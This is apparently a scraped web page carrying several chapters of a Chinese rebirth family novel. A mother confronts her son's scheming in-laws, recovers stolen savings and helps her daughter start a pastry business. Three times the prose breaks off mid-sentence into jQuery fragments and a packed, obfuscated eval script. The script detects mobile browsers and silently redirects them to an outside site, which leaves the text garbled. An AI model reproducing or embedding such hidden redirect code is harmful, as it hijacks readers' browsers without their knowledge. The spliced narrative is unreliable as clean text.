$(''.inform'').remove(); $(''#content'').append('' 妈现在改疼女儿了，姐姐妹妹的地位不能撼动，但是其他兄弟，也是能干掉一个是一个。 “爸，妈，大哥真是太过分了，你们对他那么好，原来这一切都是骗你们的，那里像我老实，这种事儿我可做不出来。” 徐本英一眼看穿老三的心思，白了他一眼，意思是老不老实你自己心里清楚。 她走到老伴跟前，问他：“现在我打算去陆家找他们，你要去吗？” “我......” “妈，我跟你去。”方楠看她爸犹豫不决，连忙坚定立场。 反正她妈干啥，她就干啥。 “妈，那我也去。”虎子在他姐后面跟着说。 万一他姐，还有......他妈被人欺负了咋成，他是方家的男人，得去保护他们。 方老三看着弟弟妹妹都去，当然也不甘示弱：“你们都去，那我也去。” 方老头这时没说去，也没说不去，就问：“老婆子，那你去了，准备咋做。” “首先，把钱要回来，其次，出了这口气。” “可是......以后咱们两家人还咋处......” “处不了不处，他们犯了错，就得付出代价。” “爸，这回我觉得妈说的对，你把他们当一家人，他们骗你的时候可没把你当成一家人。”老三连忙表态，这次他可算抢到老四前头说了。 方老头看着四双眼睛齐刷刷地看向他，就在等他的一句话，他也不动摇了，答应了下来。 既然是一家人，肯定要共进退。 “成，那去，咱家都去。” 方家五口人一齐出现在陆家门口的时候，是方家的大孙女儿方大妞给开的门，她一看见爷爷奶奶叔叔和姑姑都来了，她开心的不得了。 但还没得及她开心，陆母就紧接着出来了。 “大妞，是谁啊。” “是爷爷奶奶，还有叔叔和姑姑。” 大妞说话的同时，陆母也已经看见方家一家人了，她吓得要死，她连忙大喊，好给里面的人报信。 “哟，亲家母，亲家公，你们咋来了，还把一家都带来了。” 紧接着，陆父和陆青的哥哥陆文也慌里慌张地推了门出来，出来后父子俩给陆母还使了个眼色。 陆母知道他们这是在告诉她，陆青和女婿已经藏好了。 有了这信号，她才放下心来应付方家的人。 徐本英把一切尽收眼底，她也不废话，直接把大妞喊了过去，问：“大妞，你爸爸妈妈呢？” “爸爸妈妈在......”大妞正要说话呢，被陆母打断。 “亲家，你这问的什么话，我女儿被你们家气的流产了，国栋现在不是正在医院照顾她嘛。” “是吗？”徐本英冷笑，“那你咋没去照顾？” “我......就是回来拿个东西，马上就去，有国栋看着我放心。” “是吗。”徐本英给老三老五使了个眼色，意思让他们直接在陆家搜人。 陆家人见此，立马慌了，但是他们哪儿拦得住两个大小伙子，只能跟在后面干着急。 陆家并不大，想找人并不难，老三只找了两分钟，就在陆家厨房的灶台旁边发现了陆青，老五在后院儿也陆续发现了他大哥。 老三一找到人，就第一时间扯着嗓子在陆家大喊：“大哥，你带大嫂流产流到陆家啦？” 15. 第十五章 两个人都被同时找到了，也就只能认了。 老大无愧见他爸妈，特别是他爸，他的头一直低着，不敢抬头。 陆青倒没有什么愧疚，反正钱她已经拿去给她哥还赌债了，让她吐出来是不可能的。 她就不相信了，这是她的娘家，她老婆子还能当着她娘家人的面儿跟她动起手来，她爸妈和她哥那也不是吃素的。 徐本英知道自己一会儿肯定要忍不住动手收拾这批烂人，便给了孙女儿大妞两毛钱，让她自己去巷口商店买冰棍吃了，并叮嘱她吃完了才能回来。 大人的事儿，就不牵扯到孩子头上了吧...... 最主要的是，一会儿万一她打人的场面太激烈了，吓哭了孩子，会影响她的发挥。 方大妞走了以后，方老大仍是低着头，躲在最后面，徐本英看见那副死出就来气。 “老大，你不是说你媳妇儿在医院流产急需钱吗？这是演哪出啊？”徐本英挑着眉，一脸鄙夷地问方老大。 方老大没说话，媳妇儿却抢了话说：“老太婆，既然你们都找上门了，我也不怕告诉你们，我陆青当初压根儿就没怀孕。也别问我为啥骗你们，要不是我说我怀孕，你们能那么照顾我让着我吗？谁知道你们家里一个个如此狠心，我都说我怀孕了，还都欺负我，干脆我也不装了。” “我们欺负你？”徐本英叉着腰，气势做足，“你咋好意思说出口的，不过我还是头一次听人咒自己在医院抢救的，你也不怕成了真？” “你个死老太婆......你敢咒我？”陆青立马呲牙咧嘴的骂了回去。 “咒你？”徐本英啐了一口，“咒你我还怕脏了老娘的嘴，少废话，赶紧把两次借的钱都还给我们。” 一听到还钱，陆父陆母也站不住了，赶紧出来打圆场，陪笑脸道：“亲家，你看你们这是做啥，就算孩子们有错，他们也是孩子不是，咱们当父母咋还跟孩子们计较，况且还跑我家闹，这让人看了笑话不是。” 陆家也是住在大院子，人多混杂，只要是那家稍有点动静，就会马上被人围观。 此时还没闹起来呢，陆家门口已经聚集了好多人。 陆家知道他们这亲家最看重的就是脸面，吃准了她后面闹不起来。 “呸，你俩都给我闭嘴，钱都到你们裤兜里了，你们当然是不计较，别以为我不知道两个孩子每个月的工资都上交一大半给你们，为你俩那赌鬼儿子还赌债了。” 徐本英刚说完这话，就听见了一旁老头子心碎的声音，但是她也顾不了那么多了，这钱今晚要是拿不回去，以后就更难了。 “老大，你妈说的都是真的？”方老头儿这会儿气得脸都黑了，他实在是不敢相信，自己养大的儿子没给自己花过一分钱，全填老丈人家的坑了。 方老大根本就不敢看他爸一眼，更别说接他的任何话了，他只好装作什么也没听见。 “亲家，这话可不能胡说啊，你有什么证据说我儿赌博。” 陆家人听了徐本英的爆料，脸色也都立马变了。 这亲家以前不是最要颜面的吗？ 咋这会儿什么都往外说了？ 还有，这女婿咋能把他们陆家的秘密也跟他妈讲了？ 这事儿咋能讲啊？！ 这不是把他们陆家人的脸按在地上摩擦吗？ 而且搞不好，万一被看热闹的人举报了，他们陆家的儿子是要吃牢饭的。 “方老大，这日子你还要不要过了？你咋啥都跟你妈说啊？”陆青以为这事儿绝对是丈夫跟她婆婆说的，总不能是她爸妈说的吧。 “我没说啊！”方老大一脸无辜，他咋可能说啊，这不是搬起石头砸自己的脚。 “那你妈咋知道的？” “冤枉啊！我真的不知道啊！” 老三不知道啥时候跑到大门口，把门彻底拉开，还对着外面大喊大叫：“大家都来看啊，这陆家人欺人太甚啊，让自己女儿骗光婆家的钱给自己儿子还赌债啊。” 徐本英看见老三疯狂的举动，非但不阻止，还配合了起来。 当着众多人的面儿，一把拽住陆母的衣服就开始哭丧：“这可是我和孩子他爹的棺材本啊，你们咋能都骗走啊，一点儿都不给我剩啊！” 说着她还趁机往陆母的脸上瞎抓了几下，她知道上辈子儿媳妇骑在她头上欺负的事儿基本都是她这个当妈的给出得主意。 报仇的机会就在眼前，不珍惜非君子啊！ 陆文和陆青两兄妹看见母亲被打，都要去拦，却被方楠和虎子两姐弟路堵的死死的。 听见动静，来的人越来越多了，邻里邻舍讨论的声音也越来越大。 “这陆婶子咋被打了？” “她那是活该，你都不知道，她家的女儿竟然骗老婆婆老公公的棺材本去给她哥还赌债。呸！真不要脸！” “嘿，这天底下还有这种儿媳妇呢，这陆婶子咋教的女儿教成这样？” “就是说啊，而且我还听说啊，这陆家的女儿是经常使唤她的婆婆干这干那的。” “我要是她婆婆，我就连这儿媳妇儿子一起打才解气。” “......” 徐本英觉得这些人说得非常有道理，她这儿子也该打，不然以后还是不长教训。 打自己亲自生的，我看谁还敢拦。 说干就干，徐本英狠狠地推开了陆母，让她摔了个狗吃屎，而后又把躲在一旁想隐身的方老大耳朵一提，绕着陆家的院子就开始大步遛弯儿，那动作活像是在训一条野狗。 “赶紧把老娘的棺材本儿还给我。” “妈，我真的没有了，你饶了我吧，我下次再也不敢了，你这样揪着我不放，别人看了，我以后还咋活啊，我可是你的亲儿子啊！” 徐本英毫不留情地‘呸’了一声，“骗你老娘钱的时候咋没想着我是你亲娘。” 看着丈夫如此狼狈，陆青心疼极了，连忙跑到她妈的面前，也顾不着她妈摔倒受伤的身子了，极力地晃悠着她妈，求道：“妈，快把钱还给他们吧，国栋快被他妈打死了。” 陆母疼的哇哇直叫，活了大半辈子了，还是第一次被人打，“我哪儿有钱给他们啊，早就没了。” “妈，这些年来我给你的钱可不少啊，你就当先借我的成不。” “我真没钱。”陆母坚决不松口，她这傻闺女哟，哪儿有当妈的真把自己儿子打死的。 况且打的又不是她的儿子，她凭啥往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129796|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外掏钱。 徐本英看老大哭得一把鼻涕一把泪的，想是也长了教训，便把他松开了。 刚从地上爬起来的陆母见如此，阴险的笑了一声，讽刺道：“咋了，亲家，不打了？” 徐本英不甘示弱，也勾唇笑了一下，“突然想起一事儿，先不打了。” “什么事儿？”陆母警惕，忍不住问。 都这种时候了，还能想起来什么好事儿！ “你们刚不是问我你那赌鬼儿子赌博的证据吗？我想起来了，我这儿有他亲手画押的欠条，上面清楚地写了因为赌博欠了80元。”说完，徐本英就从兜里掏出来一张欠条。 陆母顿时吓得脸都白了，“你......你怎么可能会有这个？” “那还要多亏了我的好儿媳，每次衣服都拿来让我洗，应该是她某次帮她哥交了欠款，证据忘记毁了，又或者......她是专门留给我看的？” 陆母狠狠地揪了陆青几下，骂道：“你个死丫头，你要害死你哥是不是。” 徐本英冷眼笑着问他们：“诶，你说这聚众赌博的，情节严重的是判三年还是判四年来着？” “你......”陆家老两口气的浑身抖。 毕竟打也打不过，骂也骂不过。 徐本英才不管，继续说：“唉，这陆文啊，本来就说不到媳妇儿，这要是再吃了牢饭，怕是出来以后更说不到姑娘咯。” 这句话算是戳到了陆母的痛处了，她连忙转换态度，哭着哀求道：“我们还，我们还，你说多少钱，我们都还，行吗？千万别让我儿去坐牢啊！” 很快，徐本英就拿到了所有的钱，她本来应该是要立刻走的，但是她却又走到了陆文的面前。 陆文一开始以为自己也要挨一顿揍了，吓得有些结巴，“钱都给你了，你还想干啥？” 却不料，徐本英只是骂了他一句便走了，“你做你的废物我不管，但这辈子你要是再敢动什么别的歪心思，老娘绝对饶不了你。” “......”陆文心虚得不敢说话。 难道她看出来自己喜欢方老四的心思了？ 有那么明显吗？！ 深夜，经过了一场闹剧，徐本英一下子要回了所有的钱，足足有四百三十块，她放回了布夹子里，布夹子一下子变得鼓了起来。 她在微弱的烛光下，满足地看着鼓鼓地布夹子，想着这辈子她和方老头儿的手上一定要攒着多多的钱，再也不靠任何一个儿子了。 方老头儿坐在床边，看着自家老婆子，始终有些不好意思，这段时间他误会了她许多，原来她早就知道了老大一家补贴陆家的事儿。 明明是付出全部心血培养长大的儿子，却把自己养老的钱全骗走再去贴补别人家，她怎能不心寒？ 而他作为丈夫，也没有选择去相信她！ 她一定对他很失望吧！ 方老头儿十分愧疚，但竟然知道错了就要道歉，能屈能伸才是真正的大丈夫。 他鼓起勇气往老婆子的方向移了些位置，“老婆子，我......” 他的话还没说完，就被徐本英打断了。 “我知道你想说什么，但你不用说了，我没打算原谅你。” 16. 第十六章 方老头儿被自家老婆子的冷酷无情伤到了，瞬间委屈极了，道歉也没有刚才那么烫嘴了，几乎是脱口而出。 “老婆子，是我错了，你别这样。” 徐本英被逗笑了，这老头儿咋还是那么不经逗，但又怕真给逗坏了，毕竟都那么大年纪了，便连忙解释道：“因为我压根就没怪过你。” “你说真的？”方老头又往自家老婆子的位置挪了挪，这下两人的距离更近了。 “是真的，不过只有这一次。” “是是是，保证以后家里的的事儿都听你的。” 徐本英默默把钱收了起来，心满意足道：“知道就好。” 方老头儿又突然想到老婆子最后警告陆家儿子的事儿，他总觉得这话怪怪的，怕又有什么事情是自己不知道的，便想问清楚。 “老婆子，你走之前为啥跟陆家那小子说那句话，说发生了什么吗？” 徐本英在心里腹诽，要是真发生什么就完了，所以她得提前警告。 “你晚上没发现那小子的眼睛总是盯着咱家闺女吗？”徐本英无奈提示。 “你是说......”方老头儿瞬间如同被雷劈，头上的毛都要炸起来了，“他在打咱家老四的主意？他癞蛤蟆想吃天鹅肉吧，真不要脸。” 徐本英听着老头儿说脏话，心里偷笑。 嘿，你个文人遇见女儿的事儿，也终于说了句俗话了。 不过看到方老头儿的反应，她心里也有些内疚。 是啊，是个正常人都会觉得老四那孩子和陆家那小子，简直是一个天上一个地下。 她上辈子咋就做了那样的糊涂事儿，亲手把女儿推进火坑，所以她后来的事儿也都是报应吧...... “老伴儿，你说我以前是不是对老四太差了。”徐本英不自觉地问了一个傻问题。 “以前是有点”，方老头儿很诚实说出了自己内心的看法，“但现在大家都看得出来你心疼咱闺女。” “真的吗？我是不是做的还不够好？” “够好了，女儿现在对你好的我都有点吃醋了，你看你只要回家，你去哪儿，她就跟到哪儿。” 听到老头儿这样说，徐本英原本愧疚的内心得到了些许慰藉。 -- 很快，纺织厂的实习期已经过去两个月了，天气也一下子进入了冬天，又临近年尾，厂子一下子接到了一大批订单，老师傅们每天三倒班换着赶进度，而实习生们也会给她们安排一些比较基础的活儿来做。 徐本英一个人管着十几台机器，一个班次八个小时上下来，别说吃饭了，她连口水都没敢去喝。 一直到下了班的点儿才跑去厂里的食堂打了口热乎饭，还碰巧遇见了李爱霞。 “徐姐，刚下工呢。” “是啊，李科长，你咋也这个点吃饭。” “还不是忙实习生下个月底考核的事儿。” 徐本英本来想问问她家老四有没有可能留下，但是忍住了没问，这种事儿人家咋好跟她透底。 更何况她家老四那学习情况，她这个当师傅的比谁都清楚。 大概率是留不下来的...... 后面再看吧，这事儿也急不来。 “这食堂的菜我真是有点儿吃腻了，天天都是一个师傅一样的做法一样的菜系。”李爱霞自顾自地说。 徐本英在一旁偶尔会附和两句，她想赶紧把饭吃了去老四哪儿一趟，看看她的进度咋样了，能不能一会儿一起回去。 突然，李爱霞又很大声地喊了她一声。 “徐姐。” “咋了？”徐本英被她吓了一跳。 “我突然想起来一事儿，一直要问你来着。” “你说呗，啥事儿啊，咋一惊一乍的。” “就上次，你送我的那糕点是在哪儿买的？好吃的很！我欠那口很久了，我跑遍了明城所有卖点心的店都没问到，这不，最后还是得问到你这儿来。” “就这事儿？”徐本英喜形于色，满脸骄傲，“外面当然买不到，那是我家老四自己做的。” 果然，她家老四在做吃的这方面，手艺还是一绝的，李爱霞是个出了名的吃货，竟然把她的味蕾也这么容易的征服了。 李爱霞先是很惊讶地‘啊’了一声，而后又补了一句：“咋是你家老四自己做的？” “咋了？”徐本英在她的这句话里不仅听出来了惊讶，还有遗憾。 “徐姐，实话跟你讲吧，就我表弟，他是个干个体户的，那点心他也尝过了，说很独特，在外面他也没见过，要是他能找到货源，拉去省城卖，肯定会有很多人去买。” 徐本英暗自腹诽道：那是，几十年后的东西放到现在能不独特吗？任你再见多识广，没见过才是正常。 不过，她这表弟还挺有商业头脑。 “是你家老四做的，看来这事儿是做不成了。” 徐本英一直担心老四厂里的考核通不过，后面找事儿一时半会儿不一定能找得到好的，现在这个时期仍在鼓励自主创业，有很多人在这个阶段都赚了不少钱，成了第一批“万元户”。 不管在哪个年代，手上有票才是王炸。 不如先给老四把这事儿应下来？ 说不准以后还真是个机会。 “谁说做不成了。”徐本英笑脸盈盈，这次的态度跟之前比，显然不再敷衍，认真了许多，“我回头跟我家老四先商量商量，在她休息得空的时候，让她再做几次，让你表弟拿去省城卖了试试水呗。” “真的？”李爱霞眯着眼问，“那到时候挣钱了，咱们咋算？” “这个不着急，要是真的卖的好，我们再算钱。”徐本英对这个老乡的人品还是非常信得过的。 “那方楠会不会太累了，咱们厂里最近的活儿本来就干得够累的了。” “累点儿没事儿，她年龄也到了，我也想让她自己多攒点儿嫁妆钱。” 徐本英觉得这不是问题，虽然厂子里上班很累，下班了也不想动，但是休息好了以后还是有空余时间的。 再说了，不还有她这个当妈的帮忙吗？ 李爱霞心满意足地笑了，夸道：“你还愁这个？你家老四漂亮又能干，到时候肯定嫁的好。” “那她就托你的口福了。” 被人夸赞女儿，徐本英当然高兴，其实嫁不嫁人的她倒一点也不急，眼前得让她先学会立足，别将来被别人欺负。 徐本英从食堂出来，就立马和李爱霞告别，匆匆地跑去车间寻老四了。 分别之际，李爱霞还给她硬塞了几颗糖，说是她表弟从省城带回来的，明城买不到，让她也尝尝鲜。 徐本英一看，包装纸上面印着大公鸡，这款奶糖在几十年后非常出名，但现在他们的公司应该还没成立，对于他们这样的小边城来说，能吃到这个确实是尝鲜。 这糖现在这个时候并没有量产，价格绝对不便宜，这也就是李爱霞才舍得拿出手，这换了别人自己吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129797|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不一定舍得。 她自己不仅是纺织厂的生产科科长，老公还是纺织厂的副厂长，是厂里的二把手，分管厂里的物资供应和采购。 这可是个有油水的肥差，但也因此经常在外面跑，上辈子她老公后来还被升调到了省城里的总厂，她也跟着去了。 再后来徐本英就没再见过她了。 徐本英从食堂离开时还多打包了一份儿饭菜，有两个馒头，还有两个炒菜，分别是炒萝卜丝和猪肉炖粉条，一荤一素，搭配的刚刚好。 也不知道老四吃了没，要是没吃，一会儿直接让她带回家吃。 要是吃了就把它隔哪儿，晚上一家人再分着吃，也省得再做了。 刚进车间，她就看见有一堆人围在那里，表情慌里慌张，一看就是出事儿了，徐本英担心女儿，连忙跑了过去。 “这是咋了。” “徐师傅，有姑娘晕倒了，是个实习的小姑娘。” 别是她家老四，徐本英在心里祈祷的同时连忙扒拉开了人堆，她确实看见了老四，但老四不是晕倒的那个，她是照顾人的那个，晕倒的是老四怀里的小丽。 徐本英悬着的心这才放下来一半，但依旧担心地问：“小丽怎么了？” 方楠吓坏了，一看见是她妈来了，像是看见了救星一般，眼眶红着说：“不知道，突然就这样了。妈，这可咋办啊，要不我们赶紧喊几个同志帮忙送医院吧。” 徐本英看晕倒的小丽一脸苍白，浑身抖，还流了满身的汗，猜测她有可能是低血糖。 “这种情况拖去医院怕是晚了。” “那咋办？”方楠急得哭出了声。 这时，徐本英突然想起来刚才李爱霞给她的糖，她迅速拿过旁边工友手上刚接好的热水，把奶糖撕开一颗放到水里，很快，奶糖化开，温水成了一杯糖水。 管它死马活马，先医了试试。 “老四，快帮我一起给小丽喝下去。”徐本英在小丽的帮忙下，捏着小丽的鼻子几下就把糖水给她灌了下去，刚喝完，小丽就抖得没那么严重了，脸色也没那么苍白了。 看样子，还真是低血糖。 这毛病来的快，去得也快，小丽在喝完糖水没几分钟人就清醒过来了，虽然语言还有些迟缓，但应该没什么大事儿了。 徐本英在心里庆幸，这还好犯的是低血糖，不然她还真没办法，也庆幸李爱霞刚刚给她硬塞了几颗糖。 “我这是咋了，怎么头这么晕。”小丽醒后发现自己睡在纺织厂的女职工宿舍里。 “你晕了，是徐师傅救的你。”正在换衣服的工友朝她喊了一句。 “那师傅她人呢？”小丽探了探周围，并未发现师傅的踪影。 “她和方楠去替你上工了，你桌前那份饭是徐师傅给你留的，让你趁热吃。” 小丽看了看眼前的饭，心念微动。 这饭是谁给的都行，工是谁替她上都可以，咋就偏偏是师傅和方楠。 她和方楠一个组，方楠干活慢，老是拖累整个小组的成绩，私下里她好几次带头欺负过方楠，偏偏方楠又那么好命，有亲妈护着，她当然心里更不平衡了，明明她的成绩比方楠更好。 所以，她也在背地里没少说过她师傅偏心之类的坏话。 但她也只是犹豫了几秒，最后还是心安理得的吃了眼前那份饭。 因为她想通了，毕竟她姐姐以后有可能是方家的儿媳妇，那她现在吃她们一顿饭又咋了，那不是应该的吗！ 17. 第十七章 因为救人误了工，母女俩赶完工后也不早了，回家的路上，天已经半黑了。 实在是太累太饿了，两人就打算在外面随便吃一口，先垫巴下肚子，徐本英带着女儿去了一家小摊前点了两碗馄炖。 这附近人烟稀少，摊前只有母女俩个人，倒不用等的太久，但做馄炖的是个老年人，所以动作也自然慢一些。 徐本英看女儿饿急了，她突然想起来兜里还剩下一颗李爱霞给的糖，便摸出来递给了女儿吃。 “这是你李姨下午给妈的，本来给了好几颗的，但下午都化成糖水给小丽喝了，就剩这最后一块儿了，妈给你吃，你也尝尝鲜儿。” 方楠从来没见过这种包装的奶糖，伸手接了过去，撕开后，那是一块方方正正的白色奶糖，闻起来就很香甜。 她把糖放在桌子上拍成了碎块，从中摘出来一块最大最完整的又递给了她妈。 “妈，你也吃。” 徐本英摆摆手，意思不要。 “妈不爱吃这个。” 上辈子这玩意儿她可吃过不少。 “妈吃我才吃。”方楠嘟哝着嘴。 徐本英被女儿的反应逗笑了，看来她以为自己是在和她客气，但她又不能说出实情，只好笑着把糖接了过去，喂到了嘴里，“行行行！妈也吃！” 糖吃完，馄炖还没上桌，方楠趁机想跟母亲商量件事儿。 “妈，我想跟您商量个事儿。” “你说。” “我想下次趁我休息，叫小丽和她的姐姐来我们家玩儿，我想亲自下厨给他们做顿饭吃。” 徐本英不知道老四为啥突然产生了这个想法，其实她不太喜欢那姐妹两个，一个心思不正，还有一个急功近利。 但这是老四第一次在她面前说出自己的想法，她应该支持才是。 这孩子以前从来就没有朋友，跟小丽相处这么久，估计也算是把她给当朋友了。 “你不气她带头欺负你的事儿了？”徐本英问女儿道。 “一开始有气过。”方楠老实承认道，特别是她知道小丽在背后说她妈坏话的时候，她恨不得一辈子都不要跟她讲话了。 但是后来...... “妈，你知道吗？我有一次听小丽讲，她说她很羡慕我。”方楠突然很生硬的转移了话题。 “羡慕你？羡慕你啥？”徐本英的印象里，那孩子鼻孔朝天，老是一副自己全天下最聪明的样子，她还能说出羡慕别人的话？ “她说羡慕我有你这样一个妈。” 徐本英还以为老四是在嘴甜跟她撒娇，谁知道后面又补了一句。 “那个时候我才知道，原来她很早就没了妈妈了，是她的姐姐把她给带大的。” 徐本英有点吃惊，这事儿老三倒是从来没有在他们面前提过，或许他自己都不知道吧，毕竟他也只是个备胎。 “还有这事儿？那她们的爸爸呢？” “她们那个爸爸也早就不管她们了，是她的姐姐从小在外面赚钱，才供得起她读书，所以她也想找个好工作，不让她姐姐那么累了。”方楠沮丧着脸，共情道：“我真不敢想，我要是她，我该有多无助，所以她非常在乎自己的留厂名额，奈何又是和我分到一个组，我老是拖她的后腿，所以她怪我，也是正常的。” 经老四这么一说，徐本英也突然有些理解这姐妹两的一些所作所为了，所谓可怜之人必有可恨之处，一个人的性格和她从小生长的环境有着很大的联系。 “那行吧，到时候你把她们叫来，妈来给你们备菜。” “谢谢妈。”方楠笑的一脸满足。 不知不觉，天渐渐黑了，馄炖也要吃完了，突然间，身旁的老四突然发慌地叫了她一声。 “妈，你看，那是谁？” 徐本英顺着女儿的目光看去，看到的是小美。 但她的反应比女儿更为惊讶。 因为小美身旁站的那个男人，她也认识！ 那是纺织厂的副厂长，石峰。 他还有另外一层身份，李爱霞的老公！ 难道......上辈子让小美抛下老三，选择一起远走他乡的人是石副厂长？！ 徐本英再一次感叹，这世界可真小！ 之前小美来厂里接过小丽，也去过家门口找过三哥，所以方楠跟她是打过几次交道的。 “妈，你看那是不是小丽的姐姐？” 徐本英有点语结：“是......她......” “她旁边的男人？” 也不怪方楠这样问，两人举止确实亲密，不像是亲人，倒像是......恋人。 两人一齐进了个小院儿，那一看就是在外面特意租的房子。 幸好这副厂长方楠没见过，徐本英也没打算告诉她，这孩子还小，心里装不住事儿。 更何况这眼前见到的也不一定是她想的那样，那次找个机会去李爱霞哪儿探探口风。 “这看起来也不像是她爸啊，小丽说她们的爸爸早就不管她们了，看样子也不像是别的长辈，该不会是......”方楠看她妈脸色有点难看，后面几个字没说出口。 “那又咋了，那是别人事儿，咱们别操心。” “那三哥他......” “那也是他该去经历的。” 方楠看她妈都没说什么，她就更不好说什么了，只是心里有些替三哥难过。 过了几日，小丽就带着姐姐小美上方家做客吃饭，两人这次的身份是方楠的朋友，却把没有身份的老三给激动坏了。 “妈，你说我和小美这算不算是第一次见家长呀。” 徐本英恨不得一水瓢狠狠地扣在儿子的头上，见过恋爱脑的，没见过这种带有臆想症的恋爱脑。 “你给老娘滚开点儿，别在这儿碍事，小心你的皮。” 老三感受到他妈的威胁，连忙逃离了厨房，出去又到镜子前给自己整理了下衣服，这可是他最帅气的一件衬衫了，还是他前两年参加工作他妈买给他的。 厨房里现在只剩下了老四和徐本英，毕竟是待客，吃的肯定比平常要丰盛许多。 不仅有肉有菜，还有老四亲手做的点心，除此之外，徐本英还特意去市场上买了只鸡，炖了鲜美的鸡汤。 厨房里飘着各种香味儿，简直是嗅觉盛宴，这也让徐本英突然想起了李爱霞给她提的那件事，她赶紧给女儿提了一嘴。 “老四，妈也跟你说个事儿呗。” 方楠看了眼她妈，笑嘻嘻地问：“啥事儿啊妈！” 她一边嘴上问，手上也不忘同时忙活着，这可是她第一次接待朋友，十分地看重。 “你有没有兴趣做做糕点，拿去卖。” 方楠听了她妈的话，以为自己没听清，又问了一遍：“妈，你说啥？卖糕点？” “是啊！你只管做，有人帮咱们卖。” “妈，你不是开玩笑吧，我做的吃的也就是自己人吃吃，拿出去卖，那儿会有人买啊！” 徐本英听出来女儿这是感兴趣的意思，只是不够自信，觉得东西卖不出去，便连忙鼓励：“谁说的，你都不知道你李阿姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129798|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了你亲手做的糕点，把你夸的哟。” 方楠不好意思地笑了，“真的？她爱吃？那我下次还做了给她送！” “妈还能骗你？还有你李阿姨的表弟，那也是见多识广的，吃了也说好吃，还是他提出来的要把糕点拿去卖的呢。” “李阿姨的表弟？”方楠好奇地问。 “是啊，听你李阿姨说是自己在外面做事儿的，咱两上次吃的那颗糖就是他从省城带回来的。” “是吗？”方楠又想起了上次那颗甜甜的奶糖，要是有机会，她还真想再吃一次。 “所以啊，老四，你得自信，人家都说你可以了，你咋还自己说自己不行，咱可以先试试，不行了也算是一种经验！” 方楠听到她妈都这么说了，也不再犹豫了，就应了下来。 她也知道自己一个月后是没多大希望能留在纺织厂了，她妈这是在给她想其他的后路呢。 试试就试试呗，又有何妨呢！ “妈，我听你的，你说咋干我就咋干。” 到了晌午，孙小美带着妹妹孙小丽准时来到了方家做客，手上还提着两瓶罐头和两包果子。 徐本英作为主人公，连忙招呼她们进来，客气道：“这两姐妹，是方楠喊你们上门玩儿，随便吃点，拿这些东西做啥！” 说着话的时间，她趁机打量了一下孙小美，她今天的打扮和之前很不一样，今天她穿的是一件衬衫格子裙，颜色很素雅，很衬她的皮肤，显得人肤色更加白皙透亮。 这还是徐本英第一次近距离接触她，之前都隔得比较远，最多能看个大概，现在近距离看，的确人如其名，是个美人胚子。 站在小丽的身旁，她倒挺像个姐姐的模样，两人看起来也是有几分相似之处的，虽然眼光最后还是会忍不住落在小美的身上。 真就对应了她两的名字，姐姐美艳，妹妹秀丽。 还没等小美回话呢，老三就连忙跟着她妈的话后面抢着道：“就是啊，小美，都是自家人，还拿啥东西啊！” 徐本英嘴角没忍住抽了两下，这老三又犯病了。 真是给老娘丢人！ 一个备胎，当什么显眼包！！！ “是啊，是自家人，这小丽在厂里是徐阿姨的徒弟，平日里又多亏徐阿姨和方楠妹妹的照顾，咱们早就该上门拜师谢礼了，这次还让方楠妹妹主动邀请我们，我们还怪不好意思的。”孙小美眉眼盈盈道。 徐本英笑着，但没接话，她细品小美的这几句话，大方得体，有礼有节，最重要的是还顺便把她跟老三的关系给撇开了。 实在是高啊！ 这聪明劲儿要是真能看上老三，她反而还觉得怪呢。 “小美姐，你别这样说，我和小丽平日里，都是她照顾的我更多，她那么聪明，我还怕她嫌我拖后腿儿呢。” 小丽听了这话，瞬间露出得意的表情，心想这方楠还算是有自知之明。 她那么聪明，样样都会，怎么可能是别人帮她？ 而徐本英那是她师傅，教她也是应该的，方楠那么蠢，才没有帮到她。 这要是搁平常，小丽肯定会借机说几句话来表现下自己，但今天这个场合，姐姐和师傅都在，她收敛许多，只撇了撇嘴就算了。 “老婆子，咱们快招呼客人们坐吧，别再站着了，菜都要凉了。”方老头儿上次就没吃到女儿做的糕点，这次她看见女儿又做了，馋得很，早就想吃了，那糕点热的吃和凉的吃可不一样，他连忙招呼着大家去入桌。 徐本英撇了他一眼，我看是你自己想吃吧。 18. 第十八章 方家没有大桌子，平日里也没啥亲戚来往，逢年过节了，要真是有朋友拜访，就让孩子们再重新搭个小桌子，大人们坐在主桌。 但今天的客人是老四请的，其中一位还是老三的心上人，再让俩孩子坐在小桌子那就说不过去了。 所以徐本英还特意让虎子去隔壁大婶儿家又借了张桌子，两张桌子拼凑在一起，这才坐得下所有人。 “快坐吧，随便坐，这些啊，都是方楠一大早做的，我家女儿手艺好，你们可一定要好好尝尝。”徐本英也招呼着大家坐。 